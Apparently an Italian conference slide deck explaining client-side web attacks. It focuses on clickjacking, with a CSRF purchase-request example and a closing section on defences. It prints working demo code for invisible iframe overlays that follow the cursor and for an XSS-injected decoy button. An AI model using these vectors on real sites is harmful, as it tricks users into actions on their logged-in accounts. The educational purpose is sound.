You are on page 1of 20

Client Side Security

• Attacchi Web-Based orientati a colpire il fruitore di un sito web più che il


sito stesso.

• L'attacco può compromettere i dati dell'utente, le sue credenziali di accesso al


sito e la sua privacy.

• Vengono generalmente portati a termine tramite l'uso di JavaScript, HTML,


VBScript ed anche ActionScript.

• Gli attacchi a livello Client Side sono molto più comuni e ricorrenti degli attacchi
Server Side (SQL Injection, Remote File Inclusion, Local File Inclusion...).

• Sono generalmente meno conosciuti dagli sviluppatori e spesso sottovalutati


nella loro efficacia e pericolosità di riuscita.
Content Injection
Cross Site Scripting
Cross Origin Scripting
Cross Site Request Forgery

e ora

Clickjacking
Cross Site Request Forgery
Per capire a fondo il Clickjacking bisogna avere anche una conoscenza basilare
del funzionamento del Cross Site Request Forgery.

• E' un attacco che sfrutta la fiducia riposta del sito nell'autenticazione dei
propri utenti,
• Forza l'utente a compiere inconsapevolmente delle azioni su un sito su
cui è autenticato (o no) sfruttando la sessione su di lui correntemente aperta,

Il Clickjacking trova diverse somiglianze nel CSRF e può essere forse anche
considerato una variante di esso dato che:

• Anche nel Clickjacking si sfrutta la sessione correntemente aperta


dall'utente sul sito web utilizzato come “tramite” per l'attacco,
• Anche nel Clickjacking l'utente viene “ingannato” visitando un sito web
maligno che lo condurrà a fare azioni inconsapevolmente.
Cross Site Request Forgery: Prevenzione
Un esempio molto banale di attacco di Cross Site Request Forgery potrebbe
essere:

<img src=”http://www.amazon.com/compraLibro.php?
idLibro=31337&autore=Claudio%20Guarnieri&quantita=100&conferma=si” /
>

Questo vettore inserito in un sito maligno replica la richiesta al sito Amazon su


cui l'utente ha una sessione aperta e il quale quindi sarà forzato a completare
l'azione forgiata. Per prevenire che queste azioni vengano replicate da siti esterni
è sufficente inserire nella generazione dei link (o dei Form) dei Token “usa-e-
getta” non predicibile come:

http://www.amazon.com/compraLibro.php?idLibro=31337&autore=Claudio
%20Guarnieri&quantita=1&conferma=si&token=a340sp2ns9

Ma per il clickjacking è chiaramente diverso..


Clickjacking
“Clickjacking is a malicious technique of tricking web users into revealing
confidential information or taking control of their computer while clicking on
seemingly innocuous web pages. A vulnerability across a variety of browsers
and platforms, a clickjacking takes the form of embedded code or script that can
execute without the user's knowledge, such as clicking on a button that appears
to perform another function.” - Wikipedia

• “Scoperto” e formalizzato da Jeremiah Grossman (Whitehat Security) e


Robert Hansen (Rsnake da Ha.ckers.org).

• La presentazione ufficiale all'OWASP event di New York è stata cancellata sotto


richiesta della Adobe Inc.

• Dettagli recentemente rilasciati tramite Webcast su BlackHat.


Clickjacking
• A differenza di attacchi come SQL Injection, LFI, RFI e gli stessi XSS e CSRF, il
Clickjacking non deriva da una vulnerabilità nel codice, ma da delle possibilità
messe a disposizione dai linguaggi di Markup e di Scripting Web, e rappresenta
quindi una problematica architetturale difficilmente risolvibile.

• Come funziona? Basti pensare ad ogni link, ad ogni bottone, ad ogni


immagine che quotidianamente clickate all'interno di una pagina web: ogni
singolo click può essere il vettore per un attacco di Clickjacking.

pagina iframe
overlayed nascosto
DEMO :-)
Clickjacking: analisi del codice
<script>
function getPosition(e) {
e = e || window.event;
var cursor = {x:0, y:0};

if (e.pageX || e.pageY) {
cursor.x = e.pageX;
cursor.y = e.pageY;
} else {
var de = document.documentElement;
var b = document.body;
cursor.x = e.clientX + (de.scrollLeft || b.scrollLeft) -
(de.clientLeft || 0);
cursor.y = e.clientY + (de.scrollTop || b.scrollTop) - (de.clientTop
|| 0);
}
document.coordinate.MouseX.value = cursor.x;
document.coordinate.MouseY.value = cursor.y;
return cursor;
}
Clickjacking: analisi del codice

function clickjacking(e) {
var loadFrame = document.getElementById("vittima");
var curPos = getPosition(e);
loadFrame.setAttribute('style','opacity:0.1;position:absolute;top:' +
(curPos.y - 80) + ';left:' + (curPos.x - 15) + ';');
}

window.captureEvents(Event.CLICK);
window.captureEvents(Event.MOUSEMOVE);
window.onmousemove=getPosition;
window.onclick=clickjacking;
</script>

E questa è la chiamata alla pagina legittima :-)


<iframe id="vittima" src="vittima.html" scrolling="no" style="opacity:
0.1;position: absolute;left: 10;bottom: 10;" width="500px;"></iframe>
UN'ALTRA DEMO :-P
Clickjacking: analisi del codice
Questo esempio è molto più semplici perchè per la buona riuscita è sufficente
questa riga di codice:

<iframe style="opacity: 0.1;position: absolute; left: 0px; top:


248px; width: 400px;" src="vittima.html"></iframe>

I parametri importanti in questa breve riga di codice sono:


opacity: permette di impostare l'opacità, per rendere l'iframe invisibile
position: posiziona l'iframe in modo ASSOLUTO, ossia fisso all'interno della
pagina
left e top: servono per impostare la posizione precisa dell'iframe nascosto
all'interno della pagina web.

La riuscita di questo attacco sta al perfetto posizionamento sovrapposto dei


bottoni! :-)
ANCORA UN'ALTRA DEMO :-|
Clickjacking: analisi del codice
In questo esempio si è visto come è possibile unire una vulnerabilità di tipo Cross
Site Scripting con un possibile attacco di Clickjacking utilizzando come vettore
un semplice codice come il seguente:

<script>document.click.button.display = none; function bonus()


{ document.click.button.click(); }</script><div
style=position:absolute;top:67px;left:8px;><input style=font-
size:24px; type=button value=RICEVI%26nbsp%3BUN%26nbsp%3BBONUS
%26nbsp%3BDA%26nbsp%3B10000%26nbsp%3BEURO!!!!
onClick=javascript:bonus() /></div>

In questo esempio viene creato un nuovo bottone che si sovrappone all'originale,


e una volta che quest'ultimo viene clickato, la funzione “bonus()” forza anche il
bottone originario ad essere clickato di modo che nonostante tutto l'azione venga
eseguita forzatamente.
Clickjacking: protezione
Nonostante le palesi somiglianze con il CSRF e dato che è direttamente l'utente a
clickare, anche se inconsapevolmente, su pagine legittime e dinamicamente
generate, il Clickjacking rende superfluo e obsoleto qualsiasi sistema
Anti-CSRF come:

Seride
(http://projects.playhack.net/id/3)

CSRF Guard
(http://www.owasp.org/index.php/CSRF_Guard)

I test di conformità di questi sistemi vengono infatti correttamente generati e


altrettanto correttamente superati dato che non vi è nessun tentativo di
hijacking se non dello stesso Click del mouse :-)
Clickjacking: protezione
Visto che il Clickjacking nullifica ogni protezione Anti-CSRF, bisogna pensare ad
un'altra soluzione, ma visto che è un problema di design al momento non esiste
una vera e propria protezione funzionante.

Tramite NoScript (l'addon scritto da Giorgio Maone) è possibile filtrare il


funzionamento di JavaScript ed anche disabilitare gli IFRAME, ma questo può
essere scavalcato sostituendoli con gli OBJECT.

A livello Server, gli sviluppatori di pagine web di una certa importanza e


sensibilità possono sviluppare delle soluzioni che impediscano che le proprie
pagine vengano utilizzate tramite FRAMING per azioni maligne con un semplice
codice come questo:

<script>if(top != self) top.location.href = location.href;</script>


Clickjacking: protezione
Fondamentalmente però la realtà è che ora come ora...

NON SI PUÒ' RISOLVERE :-)


se avete una soluzione sono tutt'orecchi
Conclusioni
Il Clickjacking è un attacco molto semplice ma che apre le porte ad un'enorme
vastità di applicazioni possibili.

La semplicità con cui può essere attuato però è pari alla quantità di danni che
questo attacco può causare, e considerando il risultato ottenibile lo sforzo è
irrisorio :-)

Detto questo spero che questo semplice intervento vi sia piaciuto e che terrete
tutti sempre un occhio di riguardo per le nuove scoperte in campo di
Webapplications Security anche Client Sided.

GRAZIE DELL'ATTENZIONE ;-)


Link Interessanti
• http://www.playhack.net

• http://www.xssing.com

• http://www.gnucitizen.org

• http://ha.ckers.org

• http://www.whitesec.org

• http://www.cgisecurity.com

• http://jeremiahgrossman.blogspot.com

• http://noscript.net

You might also like